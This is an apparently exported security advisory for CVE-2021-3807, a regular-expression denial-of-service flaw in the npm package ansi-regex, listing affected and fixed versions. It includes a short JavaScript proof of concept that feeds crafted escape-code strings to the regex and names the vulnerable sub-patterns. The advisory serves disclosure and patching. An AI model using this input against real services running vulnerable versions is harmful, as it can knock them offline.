Advisory

GHSA-93q8-gq69-wqmw

Also known as: CVE-2021-3807

Summary

Inefficient Regular Expression Complexity in chalk/ansi-regex

Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Severity

High Basis: The source's own band: HIGH

Dates

Published
2021-09-20 20:20 UTC
Modified
2026-09-10 03:49 UTC

Affected packages and fixes

ansi-regex

npm · All systems

Affected

  • introduced 6.0.0, fixed 6.0.1 (semver)

Fixed versions

6.0.1

Fix

ansi-regex

npm · All systems

Affected

  • introduced 5.0.0, fixed 5.0.1 (semver)

Fixed versions

5.0.1

Fix

ansi-regex

npm · All systems

Affected

  • introduced 4.0.0, fixed 4.1.1 (semver)

Fixed versions

4.1.1

Fix

ansi-regex

npm · All systems

Affected

  • introduced 3.0.0, fixed 3.0.1 (semver)

Fixed versions

3.0.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences